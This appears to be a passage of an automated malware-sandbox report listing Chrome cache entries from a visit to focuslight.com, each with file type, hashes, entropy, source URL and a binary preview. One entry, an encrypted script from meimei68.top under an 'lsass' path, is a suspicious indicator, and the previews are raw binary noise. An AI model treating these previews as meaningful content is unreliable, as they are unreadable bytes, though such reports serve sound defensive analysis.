Preview:	......Exif..II*.................Ducky.......P......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.a8d475349, 2023/03/23-13:05:45 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="6AD9502BB18C6B0770F02F38E802CD81" xmpMM:DocumentID="xmp.did:7B072AF3424A11EEABCD81E91D3A6BCE" xmpMM:InstanceID="xmp.iid:7B072AF2424A11EEABCD81E91D3A6BCE" xmp:CreatorTool="Adobe Photoshop 24.7 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7d13a413-eb18-2d4b-9a7b-466c1c401b76" stRef:documentID="adobe:docid:photoshop:232aa6c5-f4cd-3c49-9f90-4f3752cfa6f1"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 308

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 290 x 44, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3693
Entropy (8bit):	7.901863691211666
Encrypted:	false
SSDEEP:	96:jBlFDfr2yYlhyYV4TPZjAZ4w3mhK8w0War2lbEQ2Ledj/3gXhe3//z:jBfzNYnyYV6q4w3yK2elg5edjOe3j
MD5:	0987BB285CF1D1C9FF9EF0BA5DA4CE62
SHA1:	BDD9881DBFDBB1FEBA52D8BE4299E1B2DF4BBB59
SHA-256:	A66D318B5C227C6D88BB667DC2EEB21DCAA923A1E6901306BE895DC6DE4E0F0C
SHA-512:	EBB773F888B8F9BAAF5A7375F0C2B53DF0084D2CDC7290F1521079EA78BB3F25FDCDA417A0D7C46B111F43D3B915D0D147952C4E8B0B19E1AA5A1C0332B04BF6
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/logo1.png
Preview:	.PNG........IHDR..."...,.......r...4IDATx.....U.......3..4...e....6..\|...$..lM%Mk.._./......3..5..._!..H4!@...5.).......8..=.......X.3.g.f.o....VHAi..........&i...>..dr........v..A;.Ic/..hg....8....z.T.@.Ls..f..j..).f....`\.E..%\.).c...`..=.C...3o'.X..[.....Lmg.R.H......>.k.>.....?r......3....U.~.r.3.^i+....).~..Ed.-y@i+B.R...U.4.......B.Q....Rg..Im..}....X...Tu...(..5B. R......tt..k.x...Nz.....`..(.3P..@..o7J.3....5D.XU."...N.B....`B.+.{.].q...P..".8....R...d.x..;wb...X..5X..8......Q0\..f%.;.<......W..}r.......Qb..s...\|\|...y.......y9..MC...Wa..tb.KBi..'^..u%...PTs.i.....j..A9J..%..eE.ClDG.......;.JQ.......#.3.W....[g...;..J.q..`....p.w.....D.s'...<VO...p.5/.....AtG9.y.E.f......B...U..WF.Pvg04.....o.!.6f..W......wt...T.m3J\|.;.Z...Z@.f.g...p...3...H."v...&.....JL......y..".)m..mSa95....c.f..t]3.?...}.^i.$...33...n.c..."..8...YQ..j_u.<A...Y.a.w.F..:D\|.v.....<....!\&4Pi;...n..'..x....tf.c.@i+....m..M.>[.......eJ.......v....jE.F.

Chrome Cache Entry: 309

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 30 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	610
Entropy (8bit):	7.488690229841832
Encrypted:	false
SSDEEP:	12:6v/7leCo/erIs6QdtrxSnIvg5FMC+Gj2sjrH6V5eZRvkugH1D5/kn6DPrBVIGg5C:mo/aIb0AnIo5SCrj36VkFgH1D5c6DPtd
MD5:	C7EE8FD67BA818CAC02FC7125F4D1EEA
SHA1:	6C647AC81D693065CEC94AF07E71C98D34A01C76
SHA-256:	D6160E543E518D499A9E29D3B19737DF8E6A947C40A4F7BC809A2B67A02E0D47
SHA-512:	59B08AE288154248DBEC5818BD04BCDDD19013190069F6BEF222456FC3EF51AB531773D79ED415ABDBACC4CD427393E4A40A9F9FCEEF6A584906531559D4C9EF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............iM....)IDATH...Qh.Q....K..b-.PJS...&j..1jD.q#Jn..p........jI.r.-......X.MB.g._..:.g.{.....=..<..}.y.9.$..v`'....../...#`&....G.qI.J.!I......E.d.`LW...%.g..z(...^.I..-.I{...\. ..I..;...0..Is..LQps$......`....%.;..Z.L..#.q`.....^.w./....(.....0.Se7N....j..h.6...=.6........IIm..I.Q!fX.p./V.=a..-#.l....#.zUR{f...~;.+..J.M.T`.tT.gs.8&.y....w...Z.}...n.?..A...Q....^..........<{.0....A...{%}N\|...F.V'....M..k./..~.m..K....u...`..l........R...{:..IZ'.VR....)...l*p../............^..@r.ZI.3.......'`...7...'.{3>.....9r.E.............e.?In...6nb....IEND.B`.

Chrome Cache Entry: 310

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 5821 x 1103, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	100837
Entropy (8bit):	7.137017217221349
Encrypted:	false
SSDEEP:	3072:HULORQ4toocYaNcXa+5Vct85bkC/quzT8y250i+:HUiR9LPK+5Vc25VP38yu0i+
MD5:	21B7336EAAA7BC4FC95535B1FE548B3B
SHA1:	13BE3184A0E1CC9D20DAA25111DC53CC19E44EF1
SHA-256:	6837BCC1155AFCAD47DEAE6E55A5BC42C3ACDE249E8A9A6F63AF1D0B1F6D1791
SHA-512:	F633FF1C9558E234718AC48100FFDB6B85E3066D55E4E6B2ED9862EC3BA334D99C32673F89BCF7BC81DA0010391B9EB053C26F696CF84D8A14E6B267997D2F41
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/Heptagon-Logo.png
Preview:	.PNG........IHDR.......O............pHYs...#...#.x.?v.. .IDATx....q.X...Qw/e`....,D0.5.l[.A.#.....#.9...\*.!#.)...@U....!y..<U(B,..Y<..............................M.........................>.k........................^......................PL........................b....................................................5.......................D.......................(&z......................@1.k........................^......................PL........................b....................................................5.......................D.......................(&z......................@1.k........................^......................PL........................b....................................................5.......................D.......................(&z......................@1.k........................^......................PL........................b....................................................5.......................D.......................(&z.................

Chrome Cache Entry: 311

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 612510
Category:	downloaded
Size (bytes):	187174
Entropy (8bit):	7.998355966976208
Encrypted:	true
SSDEEP:	3072:ww2LEELGnRKSDY0yQuJyBlz4sEO3skTkSR24IH0X92uJHHl8mqsM5S+egv2QdSJz:wDLsZDY+7z41Crz20UERqJS/c29nz
MD5:	B7796ADEA6A84E1BC8F4C3FCB9C38A9F
SHA1:	91832AA5F2BB1CAD178DD4EBFE95CEFCD45E0FFA
SHA-256:	EDD005B79A6523D46979896B14BFE5DB9C6E49B627F862C9CFDC572AE9CE944C
SHA-512:	8F56223C7E13274478329E330058541A443C768A4EB58630EA5406082FEB221800A947172A377EF0687DAEE50C17F4B4BD8700A8C86AE8307BA08DD05055B243
Malicious:	false
Reputation:	low
URL:	https://meimei68.top/lsass/index.js?8a7441451c8ad03d76
Preview:	.............~..0..?W..3.4........v.I2.Gl....v.h@c.4.....{..s%...C-!.d.Z..{..f.............M.`T6..8f.8.<71ZI4.{.r2.Y.+u.w<d..16...J.qU7bN..\|....'3..f.U..m.N......a....l...x~.........?=.y..8.?.F](W.lUk..v.t..]z.l.=./..$..O.jy.n0,.....3cQ).@...(...9..d^..QR..Q..{.[.Y...x.'lX.{..i..J...D..a.gX.9......r..l..\|.9.. S.%........8t\f....w....YGl...D9n`...8..2.{..98Q%..M....1...a.......#.F.g.Z3...A....T....^V..-Se..cV..sn.0G.......mj.:..f....F.Z.C........Z...u..=h<.n>......5....A........v..g..;bQe..on...`J..nV.og"...V........n...2.2K<lB..B.....3...x]uJ...\|...3...T2..f.l...$.L)..o...u.0...!....7j.R=.a....Q....![.....T..p.Ct.t..o.....,.7..W$)h...V:.+.W..e.j..Za.i..z.....-+=....f..b.v......N/a...^.1...8.m7..y'....W.N.u.# ..?...,....:Q..Sk.N..Yk.f....7.37Ad.'I0....../I.un.D....U...8i.k..[0.....PJs..}.S_.n...T.f.Z..O@..../I`.qa.ry.Q..._...<...X.jQ@v... ... ..$....... ....Z<....(...J.....M..zx.p:..9...\|.x....\|v...u3.Ay.3....u[.eX...a.6...5....\|u...nik

Chrome Cache Entry: 312

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1200x800, components 3
Category:	downloaded
Size (bytes):	248468
Entropy (8bit):	7.987183022806382
Encrypted:	false
SSDEEP:	6144:VgR3zjJKt71byJx2LHiZFETZMqmHp31goLNB7:V68jbyJx223ImF1gov7
MD5:	E9075FA2DBA7AB590EAFBC5BC1A3FDA3
SHA1:	4A97FCF2893BDFC5453116A3CB19FF2FF1711E05
SHA-256:	C57E993606F21002F13A6066D89ADB137081D1BB8215EBA65AD0C50EC5174B31
SHA-512:	806524A6A2F8FB32A9E33519C38884454888F0643BE488E93918292FA43908D6773DCE2F9A7B3340FF675458EBF6AD2335437CDCE8C77B801A1967537150E960
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/uploads/2023/08/03%E6%BF%80%E5%85%89%E5%85%89%E5%AD%A6%E5%85%83%E5%99%A8%E4%BB%B6.jpg
Preview:	......Exif..II*.................Ducky.......P......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.a8d475349, 2023/03/23-13:05:45 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="6AD9502BB18C6B0770F02F38E802CD81" xmpMM:DocumentID="xmp.did:4A6E07BD424C11EEAAE4998848E90681" xmpMM:InstanceID="xmp.iid:4A6E07BC424C11EEAAE4998848E90681" xmp:CreatorTool="Adobe Photoshop 24.7 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:85158cd0-7c42-bf40-9d3a-1fa0f6183361" stRef:documentID="adobe:docid:photoshop:232aa6c5-f4cd-3c49-9f90-4f3752cfa6f1"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 313

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 77 x 77, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1671
Entropy (8bit):	6.309322149711875
Encrypted:	false
SSDEEP:	48:q/6sMYL4knA9WIY3/c0mwsqH3mVHnsvrKncc9:qSJYkknmWIY3/AwtWVHnsT+cc9
MD5:	2524A0B7E05BCFDBFE425900E016CB54
SHA1:	ABC8B096D075FB3F3F347EEE38CFC9E12C1919EC
SHA-256:	D80D9CE877F7AB8554D9EEA8CE2E0C27485C2EE6E4AB49C896D117A26324458F
SHA-512:	971E7936C04E91D82C92E1276C355F833B4EDC97EA105D106D4C8B2E2F77E68C016E4891EEA53E7A32528318C11980A2499BA394090CB61DBC6B8AA61A9306B2
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...M...M............pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmp:CreateDate="2022-08-02T14:47:38+08:00" xmp:ModifyDate="2022-08-02T14:48:09+08:00" xmp:MetadataDate="2022-08-02T14:48:09+08:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:5cb4f038-2854-784f-b03c-9b7f5089a0a4" xmpMM:DocumentID="xmp.did:5cb4f038-2854-784f-b03c-9b7f5089a0a4" xmpMM:Origi

Chrome Cache Entry: 314

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 14367
Category:	downloaded
Size (bytes):	3218
Entropy (8bit):	7.94140733545619
Encrypted:	false
SSDEEP:	96:HSAOcSie5to+68Q2ADc5SstfxSPdeMexPVVMAY9u2:HdO2merDcICSoMeZV5YL
MD5:	87B1C54036FF8C20BEA1895B97BA73B3
SHA1:	7FAD3916ED1B96B577C5B3BE7689CED4AE68CE27
SHA-256:	508B702B8B8307AA09050685A2E467D435D485223E20B4FD8D655C900343A42E
SHA-512:	BBF84F05494E30F6C9FC871EA2E6B7AB4ABD598F1AA5DA465E97FA3FCEB8EFFD17A790124F34A3E37B4B8E2F629120F50B0A7AF6DD5C93FC9985F371B31B1CA9
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/layer/theme/default/layer.css?v=3.1.1
Preview:	.............o.._1^P .C.?bK(....<`.C.t.@.h[.,...85...$R<.J...!p...y.;...y.Y..V..,...5VF. .G.`9......,HZ.q.X.Ci..,_....8...Q.,xh.$}..-w...#....1....`M..,-.2J./X.i./......s..Ev8.X... d...ut`..o...()...%e...2.Z.P.f...l]....m..,.lK......v.rV...u...;.<Z...(]..V..?...oCm.....Q.;.X.)./.xe._m}.....d..(... .q../...&O.Ih..8...z.W..Y...J.....i.... .........i..:.a...y...\...g4...VqZ(L.d.3Tn..&gqPF.L_&0:.?..P.(.\..#1V&T.!...}..~......k...Z.h.....0...$.r....\1..?Z.mX0...d3....h....Q......NK.Y......D.h...q.z..V.%F....t.9>Xh......h...e:6;...k....4'i!.\:.d....K........v...Y/..mp-... GR..[Q....:...\|<....F..U.lw..^..~.....e..}.d.@........hW.*....&.`.[.4d.@......6..}.Ax.q.<...>T.=..u..X1..,..W.Kr....VV..<H.u.....G.O...{.;..h/..2.N...G...V....v...mB..0..y......Z...}.+5g8.../..ym...~..c..re.C.......P.(..}..uf.i.KaF......F.^....H..BM...(5....+2#...f.H/....,.9o...i.n.x......m...\|..5m...g..l......:.u.0.............{^..^.J.,....)........X..o=}....

Chrome Cache Entry: 315

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1200x800, components 3
Category:	downloaded
Size (bytes):	142916
Entropy (8bit):	7.93006662572567
Encrypted:	false
SSDEEP:	3072:ku6gO4F22vJ3vnFTmcryqzBeLjTX9XYf5CTOSwGDWlinKlRmF:ku6qBvnFTNv1en5XYf5CySrMinP
MD5:	BD1B79C608C39DC93D9117E92975E8BA
SHA1:	8B1ACDBBA142E947A404A287C7114823EE6D1427
SHA-256:	A1334BE20CAFC88D594635B38EC387A392B68D3A986048037805C278F7DCEEDC
SHA-512:	E5827C2FFC534FCCB38F51E66520554D6B835770A51DD02DAD9488085906D93C8E633BE69E79345EC0053597D7C4E867720E48A67F77E89A7B026A14ECC785A7
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/uploads/2024/09/02%E5%8D%8A%E5%AF%BC%E4%BD%93%E6%BF%80%E5%85%89%E5%85%83%E5%99%A8%E4%BB%B6.jpg
Preview:	......Exif..II*.................Ducky.......P......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.f354efc70, 2023/11/09-12:05:53 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="6AD9502BB18C6B0770F02F38E802CD81" xmpMM:DocumentID="xmp.did:87A41A64698F11EF91BB98AED9CD8A67" xmpMM:InstanceID="xmp.iid:87A41A63698F11EF91BB98AED9CD8A67" xmp:CreatorTool="Adobe Photoshop 24.7 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8cfed4ba-e404-ef49-9ce9-82972089318b" stRef:documentID="adobe:docid:photoshop:232aa6c5-f4cd-3c49-9f90-4f3752cfa6f1"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 316

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 134618
Category:	downloaded
Size (bytes):	33602
Entropy (8bit):	7.99373344968037
Encrypted:	true
SSDEEP:	768:pWnfMf9QddPwvOPSeVNqNGYn2VNunM4wNZ1jCe3Dpcsr4x+:AnfmCLINeVNqM7zuMpNTzpjMo
MD5:	961FD851C76CC3CAC9C6F3FEAC54832D
SHA1:	4D62EAE1BBBB79DFA150548804C277B98158A7BC
SHA-256:	0CF999A70600DF8E15F7A9AA554F710B2030F428B33D2202DD7AA8B7E9406236
SHA-512:	57934F3DB21312A459361A1483561B0FF5925B689304E1463B41F078C29E540FBE2AB982210684D24D2F142A4DD3C59ED77BB5E9E13AC60D2B905E5CAB4CD9E9
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/en_css/public.css?v=1
Preview:	.............Yv.....=...3)..Y.:.b...=........./.E.&....1l.@...`#O...... ..$.g4R...!.u.{....9.=..MK.....................uo8.-'OW..{..l.t...V......f...>.........GO....`.Xm..u..N..a.....Mo...z...[..o..y.l.g......^QW?\|C......-./....n.Z^lG..`w...v=.r.]...X\.g...Eo.^.v..........b..v/..........w1z..._.'........b8.X-.^.....x6Z...j..<_,z...b.[.f..'...V..t..^.6..b7..............:Y...v6.],{._.7#.s{.Z....v...>...[...A?.=...O..[nV....\|.7..`...M....Z.......S.e........=.&..E..&/...r......5....F.....1........h8....r.......O..........g..}z...}....`...'.2..........&..SkI.Z...H.^.....l.^.^.Z.}o...l.e..\.6........v:<....~L..OG~.?....j..t2....G`......v...&.O..m=..'....+....j9....z.......b.....S.......im.s...3._....W.$.....!..&l..W..7.I.>..........\....p....~-f....y.]...-...j9.b1.......Q.........l.=.@....?...?.vm..Qo.[..~.............h.Y8.f..}.}......^\.........l._...}..0.7.:.jY...W.>..h.o.p}....C..m.=~....d........M.X. ...nOA..D...; .H....Ch.z.

Chrome Cache Entry: 317

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 82", baseline, precision 8, 32x32, components 3
Category:	dropped
Size (bytes):	1122
Entropy (8bit):	7.430957831697631
Encrypted:	false
SSDEEP:	24:OJf+I/wOSKR0o0XxDuLHeOWXG4OZ7DAJuLHenX3X23NvyLJ2CGQXrlpj:UfDoOSKRFuERA0xyG2F
MD5:	A92AA595006FBCF7688F1F95B204A4ED
SHA1:	780794925F8CA9E64FD99C6F606224822D781C59
SHA-256:	E37C241002D5986905D544F44CE7F4FE9B0ED1BEFD8C1F2174082D3D48533E25
SHA-512:	4A1EEAC7D0E1157597A407E127C8D7382F9740C49D5F3C2B65713FAE5AD9C821B710E42FFF7E51CB9E569DEF8B8374936F2CC049972F414F472376603B421A61
Malicious:	false
Reputation:	low
Preview:	......JFIF.....`.`.....;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 82....C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$...... . .."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..G.,.\|......M..(.2..;....8..'R.....<7j.....fga.v...?Z..U...=.I.E.6f..x...I..~f..........o.O.+.N...5.D..'.....>..r....:.Z<.].*.z.k.T......Vx...._..'..m...~........]..Ih...f,J..rz\|....g.6...O.....m.G...o.-?G..c3...$q....aZ......kJ.u4.R.........M...Z...j/...:...9..k...{..D.1).Bs^....>#x..T.o4.!..m.n..X

Chrome Cache Entry: 318

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1920x618, components 3
Category:	dropped
Size (bytes):	259883
Entropy (8bit):	7.977046253408047
Encrypted:	false
SSDEEP:	6144:aWnfZUL+d4qg8X1UPkhuQvcOqJZMLxlzpmR8SdtF:7SDq/X1wkhuQvc3+zp+BD
MD5:	42EC51A9539962EB46956A176672D728
SHA1:	DA10575DA6DBE4BDEDCBBB74FEFA74410DDACE96
SHA-256:	655E32922A4D04A53081AFEE4F6835E4EC36C730451C30ED050EDD1062CCB6F6
SHA-512:	9A5AAD9E39027A6C82CCBAF47C61FD1FF8E40C95FB00D34249F625EE7C9029FBEE0B14E0A0660C14F0A5352333DA6833E86B551ED86144E0DC0F9BB5CE7F23AD
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......d......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4b6ac5b7-95c4-c94c-bb89-152cc11dc0c9" xmpMM:DocumentID="xmp.did:E57DF0050D5111ED9EF49905E4971285" xmpMM:InstanceID="xmp.iid:E57DF0040D5111ED9EF49905E4971285" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1566fe1e-28b8-2d44-b069-752eb151776b" stRef:documentID="adobe:docid:photoshop:1bad39ec-6673-5c40-b5d9-b5bff1ec4002"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................

Chrome Cache Entry: 319

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 15 x 15, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2925
Entropy (8bit):	7.87140972882481
Encrypted:	false
SSDEEP:	48://6qbllck+itY5vm7I6Wzv9UAOb57C1cSMIg6lc3d+0UWHdVG/jJtFo3/d7RYqW:/SMllcHitlIxv9vk7C1+I4wWHLihk/xO
MD5:	A5D8F2BC070C772F122E11355D5F14C7
SHA1:	A8485AC27B79E5244B5207C8EF42785988602850
SHA-256:	2A976E044312F49524CC8F3C0C14E9F22FE6F76EDE2942160F96391923402806
SHA-512:	1E25D8C04C47F6E1F632F76530B311626724EB01E57F12EDCE1CB3068CDBFE11427F4DAB45FDC12FCE89CBC5391CF7BE394B69E9F0604EC5C8A3984019085878
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/closevideo0.png
Preview:	.PNG........IHDR.............;.J....pHYs................MiCCPPhotoshop ICC profile..x.SwX...>..e.VB..l.."#....Y....a...@...V....HU...H...(.gA..Z.U\8....}z...........y.....&..j.9R.<:...OH.....H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly\|B"......I>................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0.._p..H.....K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0.>.3.o..~..@...z..q.@......qanv.R....B1n..#.....)..4.\,...X..P"M.y.R.D!.....2......w....O.N....l.~.....X.v.@~.-......g42y.......@+..........\...L....D..*.A..............a.D@.$.<.B.......A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ..Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$...N.!%.2I.IkH.H-.S.>..i.L&.m.......

Chrome Cache Entry: 320

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	452427
Entropy (8bit):	3.21892525837788
Encrypted:	false
SSDEEP:	6144:JSH6z9hmodA17l673qeEOK57AUSJgX91XlW0fX:YaziodA/wo5k81XT/
MD5:	E883E9295365E57A7C6303F8A45C002A
SHA1:	3B5927386067E68C261DFBCBA10BC8B030617769
SHA-256:	1C1A474E2E669E728F1C8D7F34B6F66B3255D9A4C889D9B5DE4BCB113983AE95
SHA-512:	9789D232A55D4E57B3B6071EBD491CEC95E45E8610131631B2A0BB47D69DC093160ACC318CCFB850ABBF629A1A4DC6C82570DC5CC676F3E16ADE7934D68E326E
Malicious:	false
Reputation:	low
URL:	https://focuslight-www.oss-ap-southeast-1.aliyuncs.com/wp-content/uploads/2022/12/Focuslight-Advancing-Photonics-Technologies-Around-the-World-1.mp4:2f94b8d73a7abe:99
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 321

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 82", baseline, precision 8, 2560x1440, components 3
Category:	dropped
Size (bytes):	302367
Entropy (8bit):	7.840993757280914
Encrypted:	false
SSDEEP:	6144:gR7Wy5pi6pKmYg9yNL+pPy4m3Rp1/+yh26VbiHpOt1yv15iG1P+GUeugM:gR7WSv4B+s4m33o626V+sG91P+GUeur
MD5:	B64086B61B05E2657BBB909EF0CBC346
SHA1:	108C28E88838F58E1F3D62FCDEF52B0C238F6859
SHA-256:	C6F124DC49793480B812CC3282B64BB53720A93761E6EEC70F2FD09AE5907D20
SHA-512:	7699EA6B9EB121937D461381BA9A572FC33A8907BB3C0EA16EA4AF74D85EE6B6EB79E8C9E1E95560CA9772DC0E3589DCF87CFCE5EF6B67FDEC32CB26CA3F6F51
Malicious:	false
Reputation:	low
Preview:	......JFIF.....`.`.....;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 82....C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...(.P..(...(...(...(...Ph...J(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(....b.....R.f.....J(...Zm(....(.Q.1GJ.1E....(...(...(...(..,.E..@......LR.(...QE..(...(...(...Q@...%..RS...P

Chrome Cache Entry: 322

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 67 x 67, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1867
Entropy (8bit):	6.21065338510162
Encrypted:	false
SSDEEP:	48:N/6cMYL4knA9WIYnDo/c0RSB3KHny3R/uHcLFmI1vu:NS5YkknmWIYnDo/LHn4uHcLFmIlu
MD5:	3DFF341F535CBCFFDAC8028D9A6C8F49
SHA1:	BC0D4F8863F98F16CDECBA4D238728AF62435B55
SHA-256:	D773C4F258B2D54017E5A0E761A81DB55B29A013DAA792866DA6F35B653B0439
SHA-512:	E2A8469B1A0303A2EE37299A35CA279562127E40CB696A843F7ABA8323DF548768ED6CABCB72632B70E6FC8D5FEBF501C6618E6B835C716C6B831B6E6210402C
Malicious:	false
Reputation:	low
